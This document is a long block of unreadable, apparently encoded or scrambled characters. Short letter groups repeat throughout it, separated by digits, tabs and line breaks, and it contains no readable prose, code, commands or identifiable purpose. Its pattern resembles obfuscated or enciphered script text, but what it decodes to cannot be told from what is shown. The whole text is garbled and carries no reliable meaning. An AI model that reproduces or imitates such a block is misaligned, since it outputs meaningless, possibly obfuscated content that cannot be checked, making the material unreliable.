GPNTVQVHN5^THUUXSX	OOXRVXM][PQ]Y\LVH`INEO^FN]EX ^WVLYQ`I[NM^TIGJEFRTLZZP[KY^SLZY^SLZ5555VY]]W	SFT[SO[QS^THUUXSX	OOXRVLLZK^THUUXSX	OOXRdVH`INEO^FN]EXbVQK^THUUXSX	OOXRdVH`INEO^FN]EXb	VQK^THUUXSX	OOXRd]]W	SFT[SO[QSb	`R]OL\\NQ[VQK^THUUXSX	OOXRd]]W	SFT[SO[QSb5VY`R]OL\\NQ[D5`R]OL\\NQ[GG[\55B5TN^SZVMYdVH`INEO^FN]EXb^MM^F5VXM][PQ]Y\L`R]OL\\NQ[5EFRTLZZP[KVH`INEO^FN]EX55TN^SZVMYdVXM][PQ]Y\Lb^MM^F5VH`INEO^FN]EX
5]]W	SFT[SO[QS
]]W	SFT[SO[QS555MZKJMQTN^SZVMY5B55YJQ\KVPQGGKFRZXI\RRS]PIP5D5VYVH`INEO^FN]EXVH`INEO^FN]EX	CCVXM][PQ]Y\LVXM][PQ]Y\LMZKJMQ5VY\RVUG[

	SYRQHEFRTLZZP[KMZKJMQ5KMFD5VYHO`QZGK`L\WZ[JSZ[EQHRENHMIZD5holVKZz[VKPMOMZZROKPM\WZLKM^KPM55HO`L\WZ[JSZ`ZIZQKEFRTLZZP[K]]W	SFT[SO[QSa			VH`INEO^FN]EXEQHRENHMIZ5B5BYVQ^SSFD5hozR]Z[}SP\T]^K\WRZRZQKP55555X
LWR^P]VF\M]]W	SFT[SO[QS555B5B55YJQ\KVPQO\XE
\NOY\TMGLU[5D55555VY[ZYVQZ[]]W	SFT[SO[QS{pvqx`|mpqD5MZKJMQ5B555555LK^KV\THF
]^
MY^SLZ5VYTHF
]^
MMZKJMQ5THF
]^
MKMJZ55555VYO]EE
	`TM^SIJQKU	WFPD5MZKJMQ5B5ho|JLKPRsVQTVQIZMKV]SZKPTZQ]J\TZK5555XFTSLI[EJIT]EFRTLZZP[KVXM][PQ]Y\L5B5555YJQ\KVPQ\[JMNRGJ\OKTPX]S5D5VY]]W	SFT[SO[QSVH`INEO^FN]EX
CCEFRTLZZP[K]]W	SFT[SO[QS	MZKJMQ5555VXM][PQ]Y\L
LVKZ`JMSVXM][PQ]Y\LVXM][PQ]Y\LLKMVQXVH`INEO^FN]EX	KMJZ]]W	SFT[SO[QSGG	
^MM^FVXM][PQ]Y\L]]W	SFT[SO[QSY^SLZEFRTLZZP[KY^SLZ5555B555YJQ\KVPQL[U	NF[]YVTXGW5D5LK^KV\QKJ
T	FGY^SLZ5VYQKJ
T	FGMZKJMQ5QKJ
T	FGKMJZ5KMFD5EW\EUQWIHYY^SLZ5VY]]W	SFT[SO[QSVH`INEO^FN]EXD5VH`INEO^FN]EX5EW\EUQWIHYKMJZ5BZSLZVYVXM][PQ]Y\L
]]W	SFT[SO[QS
D5EFRTLZZP[K
5EW\EUQWIHYKMJZ555BZSLZD5VYVXM][PQ]Y\L
VH`INEO^FN]EX
D5VH`INEO^FN]EX
KMJZ5B5PFG]KXKWEWKFM`VH`INEO^FN]EX
VH`INEO^FN]EX
]]W	SFT[SO[QS
VXM][PQ]Y\L

5VYWZ^[ZML`LZQKPFG]KXKWEWKFM`VXM][PQ]Y\L
	EFRTLZZP[K
VH`INEO^FN]EX
D5`\SP]`XZK`SZQXKW55VY`\SY^SLZ`\SD5555WZ^[ZMVXM][PQ]Y\L
`\S5WZ^[ZM]]W	SFT[SO[QS
5B555B5VYVH`INEO^FN]EX
	D555VH`INEO^FN]EX	555B5]]W	SFT[SO[QS	5B555FINULG[KO]]W	SFT[SO[QS
EFRTLZZP[K	[ZYVQZ[]]W	SFT[SO[QS	{vl~}sz`ho`|mpq5XFYS
^\KYXUVXM][PQ]Y\L
VXM][PQ]Y\L	CCVQKXZK`POKVPQ]]W	SFT[SO[QS	
5VYXFYS
^\KYXU]]W	SFT[SO[QS
VXM][PQ]Y\L		]]W	SFT[SO[QS
VXM][PQ]Y\L
D55FM`PZ^\LKMVQXXZK`POKVPQVXM][PQ]Y\L	5555VYFM`PZ^\HX]T^EKEHX	P^Q^	HYKD5\SPOZQ^YYVQZKFOZ55JO[^KZ`POKVPQ]]W	SFT[SO[QS	HX]T^EKEHX	P^Q^	HYKEFRTLZZP[K5JO[^KZ`POKVPQVH`INEO^FN]EX	
EFRTLZZP[K5XFYS
^\KYXUKMJZ5B5B5RI\TRRKTHNRIY^SLZ5VYFINULG[KOEFRTLZZP[K	VH`INEO^FN]EX	D5TTQMFGL
YS	NN]HO`QZGK`L\WZ[JSZ[EQHRENHMIZ5VYTTQMFGL
YS	NN]]]W	SFT[SO[QSVQKTTQMFGL
YS	NN]
		D5RI\TRRKTHNRIKMJZ5VYEFRTLZZP[K	VXM][PQ]Y\LHO`JQL\WZ[JSZ`ZIZQKVQKTTQMFGL
YS	NN]EQHRENHMIZ5B5B5VYFINULG[KOXFYS
^\KYXURI\TRRKTHNRID5^ZLH
	WQY[PMOWVH`INEO^FN]EX	VH`INEO^FN]EX	 VQKHO`QZGK`L\WZ[JSZ[EQHRENHMIZ5VY^ZLH
	WQY[PMOWCC^ZLH
	WQY[PMOWEFRTLZZP[K

D5HO`L\WZ[JSZ`LVQXSZ`ZIZQKVH`INEO^FN]EXEQHRENHMIZ555B55^R[\XSRPTY[RV`]Q]5MZKJMQ5B5VYRI\TRRKTHNRIPTG]`[M\TJL[^FSJVXM][PQ]Y\LVH`INEO^FN]EX5555VYEW\EUQWIHYD5VYFINULG[KOHO`L\WZ[JSZ`LVQXSZ`ZIZQK]]W	SFT[SO[QSEQHRENHMIZ5\[JMNRGJ\OKTPX]S5^R[\XSRPTY[RV`]Q]55MZKJMQ5B5VYEFRTLZZP[K	]]W	SFT[SO[QS]]W	SFT[SO[QS555JMR]HSHHNO5B\^K\WkWMPH^]SZSKQO
]K`D5PTG]`[M\TJL[^FSJVXM][PQ]Y\LSKQO
]K`5B\^K\WzG\ZOKVPQSKQO
]K`D5B5B55YJQ\KVPQGTQEFUK[^LF\
5D5KMFD5VYVXM][PQ]Y\L	VH`INEO^FN]EX		D5MZKJMQR\JZYEowo`vqk`r~gowo`vqk`r~g]`NZ	R^R\JZYE5B55`]LEJHRTEFRTLZZP[K	VXM][PQ]Y\L XZK`KM^QLVZQK^LLM`XV

EVTLNY^SLZ5VYEFRTLZZP[K
`]LEJHRT`]LEJHRT^WVLYQ`I[NM^TIGJ]]W	SFT[SO[QS	Y^SLZ5VYVH`INEO^FN]EX
`]LEJHRTD5MZKJMQ555B55VYVLLZK`]LEJHRTdVXM][PQ]Y\LbEFRTLZZP[K`]LEJHRTd]]W	SFT[SO[QSbD5LK^KV\^[URZLL^XZNJZJZ55xsp}~sldVH`INEO^FN]EXbE[[[EY	RYE[VFXF`]LEJHRTdVH`INEO^FN]EXb5B55VYVLLZK`]LEJHRTd]]W	SFT[SO[QSb]]W	SFT[SO[QS`]LEJHRTd]]W	SFT[SO[QSbD5555xsp}~sldVXM][PQ]Y\LbE[[[EY	RYE[VFXF`]LEJHRTd]]W	SFT[SO[QSb5B55VYVLLZK`]LEJHRTdEFRTLZZP[KbEFRTLZZP[K`]LEJHRTdVXM][PQ]Y\LbD5xsp}~sld]]W	SFT[SO[QSb`]LEJHRTd]]W	SFT[SO[QS
b5VQ\MZRZQK^S\PROPLVKZ55B5VYVLLZK`]LEJHRTdVXM][PQ]Y\L	bEFRTLZZP[K`]LEJHRTdVXM][PQ]Y\L	bEFRTLZZP[K
`]LEJHRTdEFRTLZZP[K	bG^GD5xsp}~sldVH`INEO^FN]EXb`]LEJHRTdEFRTLZZP[Kb555B5L\WZ[JSZQZXPKV^KPMYPMowoYV]ZML555VYVLLZK`]LEJHRTd]]W	SFT[SO[QSb]]W	SFT[SO[QS`]LEJHRTdEFRTLZZP[KbVXM][PQ]Y\L
`]LEJHRTdVXM][PQ]Y\LbD5xsp}~sldVH`INEO^FN]EXb`]LEJHRTdVH`INEO^FN]EXbQ\EHRQ		^GFGRYSLQ\EHRQ
5B5B\^K\WkWMPH^]SZSKQO
]K`D5PTG]`[M\TJL[^FSJEFRTLZZP[KSKQO
]K`5B\^K\WzG\ZOKVPQSKQO
]K`D5555B5B55YJQ\KVPQ^[U^U
`U\F`XWIQMZK5D5KMFD5VY]]W	SFT[SO[QSEFRTLZZP[K		CCEFRTLZZP[KVXM][PQ]Y\L
MZKJMQ555VYVQKXZK`POKVPQEFRTLZZP[K
VXM][PQ]Y\L

MZKJMQ5VYVH`INEO^FN]EX	VXM][PQ]Y\LXZK`KM^QLVZQKVXM][PQ]Y\LMZKJMQ555ZT	WEW	[^GJOWVW]VJIUHXHJMEQT``GVH`INEO^FN]EX5VY]]W	SFT[SO[QSZT	WEW	[^GJOWVCCVXM][PQ]Y\LZT	WEW	[^GJOWVCC]MXM\FR
]WN
KZE	ZT	WEW	[^GJOWVCCIE[
QM[VN\`]\E]JZT	WEW	[^GJOWVDKP\KEHS\IM][SEKP\KE5ZT	WEW	[^GJOWVY^SLZ5ZMQ^\[H
J	]RVH`INEO^FN]EXM	L]ZERI555VYZMQ^\[H
J	]RZMQ^\[H
J	]R			ZMQ^\[H
J	]R
	DPQ`JSU

OW\owo`vqk`r~gowo`vqk`r~gU
LFKXTL
FVPQ`JSU

OW\5OJ^TKHR	RTRTZ]EFRTLZZP[KM	L]ZERI5VYVH`INEO^FN]EX
OJ^TKHR	RTRTZ]VXM][PQ]Y\L
OJ^TKHR	RTRTZ]
OJ^TKHR	RTRTZ]UH`VLVJVW
UTUZOJ^TKHR	RTRTZ]5VY]]W	SFT[SO[QS
OJ^TKHR	RTRTZ]]MXM\FR
]WN
KZE	OJ^TKHR	RTRTZ]IE[
QM[VN\`]\E]JOJ^TKHR	RTRTZ]D5rZR\^\WZ[^[^OKZMLVQXJS^MSVQZ^MKFOZ55UE`SSEE	KFE^M[HQTRIVH`INEO^FN]EXOJ^TKHR	RTRTZ]VXM][PQ]Y\L5ZT	WEW	[^GJOWVOJ^TKHR	RTRTZ]5B5B555VYZT	WEW	[^GJOWVDGJWWE		WLIOowo`r~upm`izmlvpq`TIST[OGJWWE		WLIO5JO[^KZ`POKVPQVH`INEO^FN]EX
EFRTLZZP[KEFRTLZZP[K
555MZKJMQ5555B55B5N[WIFK^^MM^FM	L]ZERI5EZXTSIH]VFJ`\^PQZPIIFTLPWKQ5[VV
ZJP	JLJWQ
ZWLW^LNTJEZXTSIH]VFU]Z	RXJUU]G[
G`VQWWPS\`U]Z	RXJUU]5VYEFRTLZZP[K[VV
ZJP	D55YPMZ^\W[VV
ZJP	^LRWQGM^D5VYEFRTLZZP[K

RWQGM^]]W	SFT[SO[QS
	N[WIFK^dbEZXTSIH]VFRWQGM^5B555B5VY[ZYVQZ[]]W	SFT[SO[QS
EFRTLZZP[K	]]W	SFT[SO[QS
D5YPMZ^\W^MM^F]]W	SFT[SO[QS
ho`osjxvq`{vmVH`INEO^FN]EX
^LFEWKRXWLR]^
FN[WIFK^dbFEWKRXWLR]^
F555B5555N[WIFK^VH`INEO^FN]EX
N[WIFK^5E\ZH	RWJ[[^MM^F555[`T`ZXJ]]W	SFT[SO[QS

]]W	SFT[SO[QS
EFRTLZZP[K
VH`INEO^FN]EX

ZT	WEW	[^GJOWV	GG
][5YPMZ^\WN[WIFK^^LYS]Y^ERQVMPD5WWRSSRFXKKZPVH`INEO^FN]EXYS]Y^ERQVMP555VYWWRSSRFXKKZPCCWWRSSRFXKKZP\PQKVQJZ5ZG
THK\E
R[^O]]W	SFT[SO[QS
YS]Y^ERQVMPY^SLZQJSS	

5VYVH`INEO^FN]EX
ZG
THK\E
R[^OCC]MXM\FR
]WN
KZE	ZG
THK\E
R[^O\PQKVQJZ5VYYS]Y^ERQVMPM	L]ZERIVH`INEO^FN]EX

VH`INEO^FN]EX
EFRTLZZP[K

ZG
THK\E
R[^O	
[`T`ZXJ\PQKVQJZ5E\ZH	RWJ[[dbYS]Y^ERQVMP5B5VYE\ZH	RWJ[[D5VYEFRTLZZP[K	VH`INEO^FN]EX
	LZK`KM^QLVZQKVH`INEO^FN]EX

	5MZKJMQ5B5JO[^KZ`POKVPQEFRTLZZP[K
EFRTLZZP[K
EFRTLZZP[K
5YPMZ^\WE\ZH	RWJ[[^L[ZNRP^YRR]OD5NNKZM`SOUHJYLELIV\Z[ZNRP^YRR]OG	G5VYL]NY]EJ\QQ
ILGUVGO[ZNRP^YRR]OKYRNPPYTJF^ZT
PQHZT	WEW	[^GJOWVD5Q]QQGSPYJGTGQSF[ZNRP^YRR]O5ZUST[\KTS[ZNRP^YRR]O[IP\Gowo`vqk`r~gowo`vqk`r~g\ZUNUF^IMYM[Z[IP\G5NNKZM`SOUHJYLELIV\Z[ZNRP^YRR]O5S^YTFWKYW`^[ZNRP^YRR]O5VY[ZNRP^YRR]OM	L]ZERID5555ZEGGFQGIVMRHKMJZ5GK^MSXUNEKNHLVKKMJZ5B5BZSLZD5NNKZM`SOUHJYLELIV\Z[ZNRP^YRR]O
555B5B5B\^K\WkWMPH^]SZSKQO
]K`D]GR\^KTY\C\\M\
RFQ]GR\^KTY\a
555PTG]`[M\TJL[^FSJVXM][PQ]Y\L
SKQO
]K`5B\^K\WzG\ZOKVPQSKQO
]K`D5B55B5YJQ\KVPQVEUVWMSKSI[55D5LK^KV\THF
]^
MY^SLZ5VYTHF
]^
MMZKJMQ5THF
]^
MKMJZ5KMFD5QF[VMHTRKHH
PX[JKK555^[U^U
`U\F`XWIQMZK5555GK^VURFH\HE[PL5555GTQEFUK[^LF\
5555GGKFRZXI\RRS]PIP5ESXRO[\JHH	U
E^PTK5SUUM^]SRHQMXS]N]5STYI]\VXN\\
\L5UFYTFE[GUXZMO5VYO]EE
	`TM^SIJQKU	WFPD5VY]]W	SFT[SO[QS
]]W	SFT[SO[QS
[V[`^\KVPQVH`INEO^FN]EXD5VYVH`INEO^FN]EX
]]W	SFT[SO[QS
]]W	SFT[SO[QS
]]W	SFT[SO[QS5BZSLZD5XFTSLI[EJIT]VXM][PQ]Y\L]]W	SFT[SO[QS5B5B55B\^K\WkWMPH^]SZSKQO
]K`DUOR^GRQOHHIowo`vqk`r~gowo`vqk`r~g]^WLKOPTZUOR^GRQOHHI5555B\^K\WzG\ZOKVPQSKQO
]K`D5B5B5YJQ\KVPQ^R[\XSRPTY[RV`]Q]5D55KMFD5VYEFRTLZZP[K
EFRTLZZP[K
CC]]W	SFT[SO[QS
VXM][PQ]Y\L
MZKJMQ5VY]]W	SFT[SO[QS
VXM][PQ]Y\L

CCVH`INEO^FN]EX
]]W	SFT[SO[QS
MZKJMQ5]N[INHGLUPJZSVH`INEO^FN]EX
	5VY]N[INHGLUPJZSVQKXZK`POKVPQ]]W	SFT[SO[QS

	MZKJMQ5JO[^KZ`POKVPQEFRTLZZP[K
]N[INHGLUPJZSVXM][PQ]Y\L
555EFRTLZZP[K
WPRZ`JMS^MM^FVH`INEO^FN]EXEFRTLZZP[KY^SLZVH`INEO^FN]EXY^SLZ55B\^K\WkWMPH^]SZSKQO
]K`D55B\^K\WzG\ZOKVPQSKQO
]K`D5B5MPK^KZNJPKVZQKYPMhoiZMLZ}SP\T55B555YJQ\KVPQO]EE
	`TM^SIJQKU	WFP5D5VYVXM][PQ]Y\L
]]W	SFT[SO[QS

D5MZKJMQKMJZ5B55VYVXM][PQ]Y\L
]]W	SFT[SO[QSXZK`KM^QLVZQK^LLM`XV

EVTLND555MZKJMQY^SLZYK	
UGIX[Gowo`r~upm`izmlvpqFPZEUNOV`EYK	
UGIX[G5B55MRNGNIQV[UEE
TWZ
GPNTVQVHN5^THUUXSX	OOXR^WVLYQ`I[NM^TIGJVXM][PQ]Y\L	Y^SLZ5VYVH`INEO^FN]EX^THUUXSX	OOXRVLLZK^THUUXSX	OOXRdVXM][PQ]Y\L
bVQK^THUUXSX	OOXRdVXM][PQ]Y\L
b	VQK^THUUXSX	OOXRd]]W	SFT[SO[QS
b
	MRNGNIQV[UEE
TVQK^THUUXSX	OOXRdVH`INEO^FN]EX
b555TRQMWMKFP\
E
VQKXZK`POKVPQEFRTLZZP[K	
5VYTRQMWMKFP\
E
]]W	SFT[SO[QS
TRQMWMKFP\
E
MRNGNIQV[UEE
TD5MZKJMQY^SLZ5B55555]^YVTOH\`VQKXZK`POKVPQ]]W	SFT[SO[QS
5VY]^YVTOH\`D55[TUWENM
VVQKXZK`POKVPQEFRTLZZP[K
5[Q
LM`
^SWE^MM^F		
			
	
	5GPMEOQIU[Q
LM`
^SWEdEFRTLZZP[K

VH`INEO^FN]EX
	[TUWENM
Vb555GPMEOQIUEFRTLZZP[KVQKGPMEOQIU
5VY]]W	SFT[SO[QS
]^YVTOH\`GPMEOQIUD5LJLOZQ[WZ^MK]Z^K55MZKJMQY^SLZ5B5B55MZKJMQKMJZ5B55YJQ\KVPQWM^]E\FYIRKIQ5D5[TUWENM
VVQKXZK`POKVPQVH`INEO^FN]EX
5JO[^KZ`POKVPQ]]W	SFT[SO[QS
[TUWENM
V5JO[^KZ`POKVPQ]]W	SFT[SO[QS
]]W	SFT[SO[QS
55B55YJQ\KVPQFK
HLGIMJQKZ55D5hoyZ^KJMZ[vR^XZQPMR^SNJPKVZQK55ZMQZWP	SE^MM^F5KMFD5ZMQZWP	SEdVH`INEO^FN]EX
bHX]T^EKEHX	P^Q^	HYK5ZMQZWP	SEdVH`INEO^FN]EX
bowo`izmlvpq5ZMQZWP	SEdVH`INEO^FN]EX
bEFRTLZZP[K5ZMQZWP	SEdVXM][PQ]Y\L
bEFRTLZZP[K
VH`INEO^FN]EX
VL`LLS 5ZMQZWP	SEdEFRTLZZP[K
bEFRTLZZP[K
]]W	SFT[SO[QSVL`RJSKVLVKZ 555ZMQZWP	SEd]]W	SFT[SO[QS
bVLLZKxsp}~sldVXM][PQ]Y\L

b LKMVQXxsp}~sldVH`INEO^FN]EX

b5ZMQZWP	SEd]]W	SFT[SO[QS
	bVLLZK`lzmizmdVXM][PQ]Y\L	b ]]W	SFT[SO[QS
LKMVQX`lzmizmdVXM][PQ]Y\L	b55LZGI\E[GYSVLLZKxsp}~sldEFRTLZZP[K
b]]W	SFT[SO[QS
xsp}~sldVXM][PQ]Y\L

b EFRTLZZP[Kxsp}~sldVH`INEO^FN]EX

b555ZMQZWP	SEdVH`INEO^FN]EX

bLZGI\E[GYS 5ZMQZWP	SEdVH`INEO^FN]EX

bVH`INEO^FN]EX

LZGI\E[GYS5ZMQZWP	SEdEFRTLZZP[K

bZROKFxsp}~sldVH`INEO^FN]EX


b 5555ZMQZWP	SEdEFRTLZZP[K

	bZROKFxsp}~sldVXM][PQ]Y\L

b 5ZMQZWP	SEd]]W	SFT[SO[QS

bEFRTLZZP[K

VXM][PQ]Y\L

 VQKXZK`POKVPQVH`INEO^FN]EX
	55ZMQZWP	SEdVXM][PQ]Y\L
	bP[G^WEOWE	QV`
]]W	SFT[SO[QS
	 5ZMQZWP	SEdVH`INEO^FN]EX
	bEFRTLZZP[K

VH`INEO^FN]EX

 VQKXZK`POKVPQVH`INEO^FN]EX
	5ZMQZWP	SEdVXM][PQ]Y\L
	bVXM][PQ]Y\L

VH`INEO^FN]EX

 VQKXZK`POKVPQVH`INEO^FN]EX
	
5ZMQZWP	SEdVXM][PQ]Y\L
		b]]W	SFT[SO[QS
	]]W	SFT[SO[QS

 VQKXZK`POKVPQEFRTLZZP[K
	5IYXE	[YJF[NGLJR[\IKJY^5ZMQZWP	SEdVH`INEO^FN]EX
	bVXM][PQ]Y\L
IYXE	[YVH`INEO^FN]EX
 YV^^TLQQ[NIGKKITL]]W	SFT[SO[QS
IYXE	[YVH`INEO^FN]EX
Y^SLZQJSS 555ZMQZWP	SEdVXM][PQ]Y\L
bEFRTLZZP[K
IYXE	[YVXM][PQ]Y\L

 YV^^TLQQ[NIGKKITL]]W	SFT[SO[QS
	IYXE	[YEFRTLZZP[K

Y^SLZQJSS	 5ZMQZWP	SEdEFRTLZZP[K
bEFRTLZZP[K
IYXE	[YVH`INEO^FN]EX
 YV^^TLQQ[NIGKKITLEFRTLZZP[K
	IYXE	[YVH`INEO^FN]EX
Y^SLZQJSS 5`]OFNOR]TSV[XTVXM][PQ]Y\L
PLZOO]ZZSGMJW~}lo~kwX
5^^\	ZRE[`EX]]W	SFT[SO[QS
PLZOO]ZZSGMJW~}lo~kwX
5ZMQZWP	SEdVXM][PQ]Y\L
b5YPMZ^\W^MM^FHRKKYPFNI]Q]XVIYXE	[Y~}lo~kwVH`INEO^FN]EX
^LS	FII]XM	SL
TKD5VY]]W	SFT[SO[QS
S	FII]XM	SL
TK`]OFNOR]TSV[XTEFRTLZZP[K
	ZMQZWP	SEd]]W	SFT[SO[QS
b5VYEFRTLZZP[K
S	FII]XM	SL
TK^^\	ZRE[`EXVQKVH`INEO^FN]EXS	FII]XM	SL
TK^^\	ZRE[`EX]]W	SFT[SO[QS

D5ZMQZWP	SEd]]W	SFT[SO[QS
b5]MZ^T555B5B5JQLZK^^\	ZRE[`EXS	FII]XM	SL
TK5MIPPL`M`WPNJVH`INEO^FN]EX

EFRTLZZP[K
 VH`INEO^FN]EX
]]W	SFT[SO[QS
	Y^SLZ5VYVXM][PQ]Y\L
MIPPL`M`WPNJCCMIPPL`M`WPNJCCMIPPL`M`WPNJEFRTLZZP[K
MIPPL`M`WPNJVH`INEO^FN]EX
5ZMQZWP	SEdVXM][PQ]Y\L
bEFRTLZZP[K
~}lo~kwMIPPL`M`WPNJ]]W	SFT[SO[QS		LKMVQXEFRTLZZP[K
	~}lo~kwMIPPL`M`WPNJVH`INEO^FN]EX
Y^SLZ 5ZMQZWP	SEdEFRTLZZP[K
bVH`INEO^FN]EX
~}lo~kwEFRTLZZP[K
VH`INEO^FN]EX		LKMVQXVH`INEO^FN]EX
	~}lo~kw]]W	SFT[SO[QS
EFRTLZZP[K

Y^SLZ 555ZMQZWP	SEdEFRTLZZP[K
	bVH`INEO^FN]EX
~}lo~kwVXM][PQ]Y\L
VXM][PQ]Y\L		LKMVQXVH`INEO^FN]EX
~}lo~kwEFRTLZZP[K	Y^SLZQJSS	

	EFRTLZZP[K	Y^SLZ 5555ZMQZWP	SEd]]W	SFT[SO[QS	b[ZYVQZ[VH`INEO^FN]EX	 5ZMQZWP	SEd]]W	SFT[SO[QS	b[ZYVQZ[EFRTLZZP[K	
CC[ZYVQZ[VH`INEO^FN]EX		CC[ZYVQZ[VH`INEO^FN]EX	CC]]W	SFT[SO[QS

VH`INEO^FN]EX	CCVXM][PQ]Y\L	VH`INEO^FN]EX	CCVLLZKxsp}~sld]]W	SFT[SO[QS	bCC]]W	SFT[SO[QS	]]W	SFT[SO[QS	 5ZMQZWP	SEdVXM][PQ]Y\L	bVQKXZK`POKVPQ]]W	SFT[SO[QS	
5ZMQZWP	SEdVXM][PQ]Y\L	
bVQKXZK`POKVPQVXM][PQ]Y\L		5ZMQZWP	SEdVH`INEO^FN]EX	bVQKXZK`POKVPQVH`INEO^FN]EX	555\WNOSLUXWW]VJIUHXHJMEQT``GVXM][PQ]Y\L	^MM^FSMYV	ZKK\	M
UYGU]QKFSMYV	ZKK\ SMYV	ZKK\SMYV	ZKK\55F]N
V55JY]J^ZE`\F	V5VY]]W	SFT[SO[QS\WNOSLUXWD5555YPMZ^\W\WNOSLUXW^LRWQGM^D555VYQ`FE\J^[N[\YQ[RWQGM^\PQKVQJZ55F]N
V55P^LFLFVXM][PQ]Y\LRWQGM^ VQKVLLZKRWQGM^d]]W	SFT[SO[QS	b RWQGM^dVH`INEO^FN]EX	b5OFJE`Y]K]GHVXM][PQ]Y\LRWQGM^VLLZKRWQGM^d]]W	SFT[SO[QS	b VQKRWQGM^dVXM][PQ]Y\L	b5VYP^LFLFOFJE`Y]K]GHCCOFJE`Y]K]GH]]W	SFT[SO[QS	


JY]J^ZE`\F	V5555B5B5ZMQZWP	SEdEFRTLZZP[K	bF]N
V55ZMQZWP	SEdVH`INEO^FN]EX	bJY]J^ZE`\F	V5]JMMSNH
Y\]]W	SFT[SO[QS	]]W	SFT[SO[QS

 XZK`POKVPQVXM][PQ]Y\L	
5ZMQZWP	SEd]]W	SFT[SO[QS		bEFRTLZZP[K	]JMMSNH
Y\ VH`INEO^FN]EX
]JMMSNH
Y\a5W`JYXG]LEFRTLZZP[K	VXM][PQ]Y\L

 XZK`POKVPQVH`INEO^FN]EX	^MM^F^MM^F5ZMQZWP	SEdVH`INEO^FN]EX	bEFRTLZZP[KW`JYXG]LZROKFW`JYXG]LdKbCCZROKFW`JYXG]LdEFRTLZZP[K	b 5B\^K\WkWMPH^]SZSKQO
]K`D5ZMQZWP	SEdEFRTLZZP[K	bVXM][PQ]Y\L	SKQO
]K`XZKrZLL^XZ5B\^K\WzG\ZOKVPQSKQO
]K`D5555ZMQZWP	SEdVXM][PQ]Y\L	bVH`INEO^FN]EX	SKQO
]K`XZKrZLL^XZGG5B555MZKJMQZMQZWP	SE5B55YJQ\KVPQR`NUOKEGWK
MFTM[K5D5VYVXM][PQ]Y\L	VH`INEO^FN]EX	D5MZKJMQLKMVQXLVKZ`JMSVXM][PQ]Y\L	
5B5MZKJMQVH`INEO^FN]EX	VH`INEO^FN]EX		 LKMVQXHO`SPXVQ`JMS5B555YJQ\KVPQHXE\OLIFZTPN]YQIQTV``]5D5EM[^R^VQEJNPS5VYVH`INEO^FN]EX	VH`INEO^FN]EX	D5LQ^OLWPKVLPS^KZ[L\WZ[JSZM55EM[^R^VQEJNPSLKMVQXEFRTLZZP[K	WPRZ`JMS\PQLK^QKVXM][PQ]Y\L	5B5VYEM[^R^VQEJNPSVH`INEO^FN]EX	VH`INEO^FN]EX	D5EM[^R^VQEJNPSLKMVQXVXM][PQ]Y\L	XZK`LVKZ`JMS\PQLK^QKVXM][PQ]Y\L	5B5VYEM[^R^VQEJNPSEFRTLZZP[K	VH`INEO^FN]EX	D5EM[^R^VQEJNPSLKMVQXEFRTLZZP[K	XZK`]SPXVQYPEFRTLZZP[K	\PQLK^QKVH`INEO^FN]EX	5B5VYEM[^R^VQEJNPSVXM][PQ]Y\L	EFRTLZZP[K	D5EM[^R^VQEJNPSLKMVQXVXM][PQ]Y\L	LKMVQXXZK`POKVPQVH`INEO^FN]EX	
\PQLK^QK]]W	SFT[SO[QS	5B5VYEM[^R^VQEJNPSVLLZK`lzmizmd]]W	SFT[SO[QS		bD55EM[^R^VQEJNPSLKMVQX`lzmizmd]]W	SFT[SO[QS		b5B555VYEM[^R^VQEJNPSVLLZK`lzmizmdVXM][PQ]Y\L	bD5EM[^R^VQEJNPSLKMVQX`lzmizmd]]W	SFT[SO[QS	b5B5VYEM[^R^VQEJNPSD5hok^]SZ}SP\T\^JL^SRV[[SZH^MZ55MZKJMQQIQTV``]5B5MZKJMQEM[^R^VQEJNPS5B5YJQ\KVPQJMR]HSHHNO5D5KMFD5OPSFQPRV^SLK^]VSVEZM5555GLWIEU[OTQNEFRTLZZP[K	VXM][PQ]Y\L
 VQKVXM][PQ]Y\L	VH`INEO^FN]EX	
5VYVXM][PQ]Y\L	VXM][PQ]Y\L]]W	SFT[SO[QS	
5KLWUJGTF^IJUGLWIEU[OTQNGZG	GLWIEU[OTQN
 GLWIEU[OTQNGLWIEU[OTQNGLWIEU[OTQNa
 GG5VYO]EE
	`TM^SIJQKU	WFPD5MZKJMQ555B5555VY\RVUG[

	SYRQHVH`INEO^FN]EXD5MZKJMQ55B55P[	VGGPE`N]]W	SFT[SO[QS	
KMJZ555MVIUMEHSHJZW[IFOTK	
H^IT[I5VY5EFRTLZZP[KMVIUMEHSHJZ5CCVLLZKMVIUMEHSHJZdVXM][PQ]Y\L
bCCVXM][PQ]Y\L	
MVIUMEHSHJZdVXM][PQ]Y\L	
bCCMVIUMEHSHJZdVXM][PQ]Y\L	
b5CCVLLZKMVIUMEHSHJZd]]W	SFT[SO[QSbCCEFRTLZZP[KMVIUMEHSHJZd]]W	SFT[SO[QSbCCZROKFMVIUMEHSHJZd]]W	SFT[SO[QSb5D5555WM^]E\FYIRKIQ5MZKJMQ5B5MWRPLF`O	PL[MVIUMEHSHJZdVH`INEO^FN]EX	

b5NWST
MVIUMEHSHJZdVXM][PQ]Y\Lb5UE`SSEE	KFE^M[HQTRIVXM][PQ]Y\LMWRPLF`O	PL[EFRTLZZP[K	
	5555W	]	VIGKLN	]]W	SFT[SO[QS	VH`INEO^FN]EX	 LKMVQXXZK`POKVPQVXM][PQ]Y\L	
I]]GZGG	F]FKW[I]]GZGG5VYW	]	VIGKLN	VXM][PQ]Y\L
W	]	VIGKLN	NWST
KMJZD5NWST
VH`INEO^FN]EXEFRTLZZP[K	NWST
^MM^FW	]	VIGKLN	5EFRTLZZP[K	
NWST
5VH`INEO^FN]EX	
NWST
W	]	VIGKLN	5BZSLZVY]]W	SFT[SO[QS		NWST
D5]]W	SFT[SO[QS	
NWST
5B5LKMZ^RVQXLJ]LKVKJKVPQR^O555VY]]W	SFT[SO[QS	
KMJZP[	VGGPE`NVQKKLWUJGTF^IJU	D5LL^\PQIZMKLK^]VSVEZMYPMhomZ[JGlKPMZ55WM^]E\FYIRKIQ5MZKJMQ55B55FSQHRQUJ]H[`RTGUXJNWW
5H[UTRZFZS		VYXFSQHRQUJ]H[55555JZJYWZKN^MM^F5555VYEFRTLZZP[K	]]W	SFT[SO[QS		D5YPMZ^\W^MM^FXZK`POKVPQVH`INEO^FN]EX	^MM^F^LYS]Y^ERQVMPD5555VY]]W	SFT[SO[QS	
